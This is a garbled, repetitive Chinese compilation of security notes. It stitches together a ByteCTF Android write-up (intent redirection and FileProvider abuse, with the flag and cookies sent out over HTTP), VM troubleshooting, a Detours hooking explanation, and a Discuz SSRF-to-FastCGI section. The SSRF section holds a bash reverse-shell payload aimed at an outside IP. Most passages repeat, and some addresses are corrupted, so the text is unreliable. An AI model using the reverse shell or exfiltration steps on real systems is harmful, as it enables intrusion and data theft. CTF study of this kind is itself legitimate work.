获得flag后,因为安卓不方便控制台输出。所以exp选择用http把flag传出来。
在虚拟机上部署一个简单的flask,用来做url参数解析,即可获得传出的flag。
babydroid
1. 原理
题目漏洞点
babydroid的文件目录
FlagReceiver.java
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if(flag!=null){
File file = new File(context.getFilesDir(), "flag");
writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
}
系统广播flag后,广播接收器接收到flag,将它写入file的位置。我们就知道要想拿到flag,即是要读取/data/user/0/com.bytectf.babydroid/files/flag。
Vulnerable.java中的Intent重定向漏洞
在虚拟机上部署一个简单的flask,用来做url参数解析,即可获得传出的flag。
babydroid
1. 原理
题目漏洞点
babydroid的文件目录
FlagReceiver.java
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if(flag!=null){
File file = new File(context.getFilesDir(), "flag");
writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
}
系统广播flag后,广播接收器接收到flag,将它写入file的位置。我们就知道要想拿到flag,即是要读取/data/user/0/com.bytectf.babydroid/files/flag。
Vulnerable.java中的Intent重定向漏洞
在运行虚拟机是可能会提示无法虚拟化CPU,这种情况一般有以下三种原因:
CPU确实无法虚拟化(无法解决)
BIOS设置中未开启CPU
开启了Hyper-V导致VMware无法直接接触物理层(我就是这个原因,之前使用了WSL,开启了Hyper-V,导致在VMware中无法CPU虚拟化)
在emulator启动时会有如下报错,如果不在启动脚本中修改ADB_PORT会导致之后获得flag后,无法建立HTTP连接。
CPU确实无法虚拟化(无法解决)
BIOS设置中未开启CPU
开启了Hyper-V导致VMware无法直接接触物理层(我就是这个原因,之前使用了WSL,开启了Hyper-V,导致在VMware中无法CPU虚拟化)
在emulator启动时会有如下报错,如果不在启动脚本中修改ADB_PORT会导致之后获得flag后,无法建立HTTP连接。
如何授予文件临时读写权限
在构造Intent组件时,data设置为content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag,flag设置为Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION,赋予临时数据读写权限。
把想赋予的不同临时权限求亦或和,赋给flag,通过Intent打开的组件就可以获得对应的临时权限。
pwn思路
构造一个嵌套的Intent,并借助Vulnerable.java转发。因为fileProvider存在文件临时读写问题,故可在转发的过程中,赋予pwn临时读写flag文件的权限。最后用http传出。
在构造Intent组件时,data设置为content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag,flag设置为Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION,赋予临时数据读写权限。
把想赋予的不同临时权限求亦或和,赋给flag,通过Intent打开的组件就可以获得对应的临时权限。
pwn思路
构造一个嵌套的Intent,并借助Vulnerable.java转发。因为fileProvider存在文件临时读写问题,故可在转发的过程中,赋予pwn临时读写flag文件的权限。最后用http传出。
构造需要Vulnerable.java转发的Intent类evil,然后将evil序列化后放入跳转到Vulnerable的intent的Extra属性中。注意,evil的Flags要设置为3,这样被跳转的pwn就获得了文件临时读写权限。
如此便构造了一个嵌套的Intent。
通过嵌套的Intent以及Vulnerable中的重定向漏洞,从pwn跳转到Vulnerable,再从Vulnerable把intent的Extra反序列化为Intent类跳转到pwn。使pwn获得临时读写com.bytectf.babydroid的权限。
如此便构造了一个嵌套的Intent。
通过嵌套的Intent以及Vulnerable中的重定向漏洞,从pwn跳转到Vulnerable,再从Vulnerable把intent的Extra反序列化为Intent类跳转到pwn。使pwn获得临时读写com.bytectf.babydroid的权限。
TestActivity中Webview的setAllowFileAccess和setJavaScriptEnable都已经打开,所以Webview可以渲染文件因为之前建立好了软链接,通过跳转TestActivity渲染file:///data/data/com.bytectf.pwneasydroid/symlink.html即是渲染/data/data/com.bytectf.easydroid/Cookies。
将Cookies文件中的全部内容作为文本,通过http传出来。
将Cookies文件中的全部内容作为文本,通过http传出来。
Detours hook 流程
Detours hook目标函数的逻辑很简单,就是将目标函数开头的指令换成jmp指令,跳转到我们定义的函数中。主要流程如下,前3步是DetourAttach函数做的事情,第4-5步是DetourCommit做的事情:
计算需要修改目标函数的字节数 n,jmp到新函数地址的指令长度为5个字节,但是目标函数的前5个字节可能不能构成完整的指令。如目标函数的第4个字节到第6个字节构成了一条指令,如果只考虑前5个字节,此条指令将无法正确执行
计算Trampoline(跳板)函数跳转回来的地址:目标函数地址+第1步计算的需要修改的字节数n
构建Trampoline(跳板)函数:找一块空白的内存区域,根据第1步计算的字节数拷贝目标函数的前n个字节,然后加上一条jmp指令,以跳转到第2步所计算出的地址
修改目标函数的前5个字节,以跳转到hook后的函数中。如果第1步计算出来的需要修改的字节数大于5,大于5的部分填上0xCC
会将Trampoline函数的地址addr3 给DetourAttach函数的第一个参数(所以此参数是一个二级指针),因此可以在新函数中通过Trampoline调用原函数
Detours hook目标函数的逻辑很简单,就是将目标函数开头的指令换成jmp指令,跳转到我们定义的函数中。主要流程如下,前3步是DetourAttach函数做的事情,第4-5步是DetourCommit做的事情:
计算需要修改目标函数的字节数 n,jmp到新函数地址的指令长度为5个字节,但是目标函数的前5个字节可能不能构成完整的指令。如目标函数的第4个字节到第6个字节构成了一条指令,如果只考虑前5个字节,此条指令将无法正确执行
计算Trampoline(跳板)函数跳转回来的地址:目标函数地址+第1步计算的需要修改的字节数n
构建Trampoline(跳板)函数:找一块空白的内存区域,根据第1步计算的字节数拷贝目标函数的前n个字节,然后加上一条jmp指令,以跳转到第2步所计算出的地址
修改目标函数的前5个字节,以跳转到hook后的函数中。如果第1步计算出来的需要修改的字节数大于5,大于5的部分填上0xCC
会将Trampoline函数的地址addr3 给DetourAttach函数的第一个参数(所以此参数是一个二级指针),因此可以在新函数中通过Trampoline调用原函数
hook代码如下:由于thiscall是由被调用函数清理参数栈,因此将新函数的调用约定为stdcall。这样除了this指针没有通过ecx传递之外,其余的操作与thiscall相同。如果新函数中需要使用this指针(如调用原函数),需要在函数开头push ecx,将this指针保存在栈上。当需要使用时,pop ecx,将this指针传给ecx以模拟thiscall。注意:push ecx之后堆栈会变化,需要自己维护,在函数结束时保持堆栈平衡,编译器优化会将函数调用约定变为__usercall,这种调用约定传参与fastcall一样,但是无论是调用方还是被调用方都没有清理堆栈,程序可能会崩溃。可以禁用优化,不使用这种调用约定
攻击内网 Vulnerability Web
Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127001 访问的 expphp,内容为:
POST /exp.php HTTP/1.1
Host 127001
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
e=bash -i >%26 /dev/tcp/172.19.23.2282333 0>%261
利用 Discuz SSRF 攻击 FastCGI
Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127001 访问的 expphp,内容为:
POST /exp.php HTTP/1.1
Host 127001
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
e=bash -i >%26 /dev/tcp/172.19.23.2282333 0>%261
利用 Discuz SSRF 攻击 FastCGI
Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。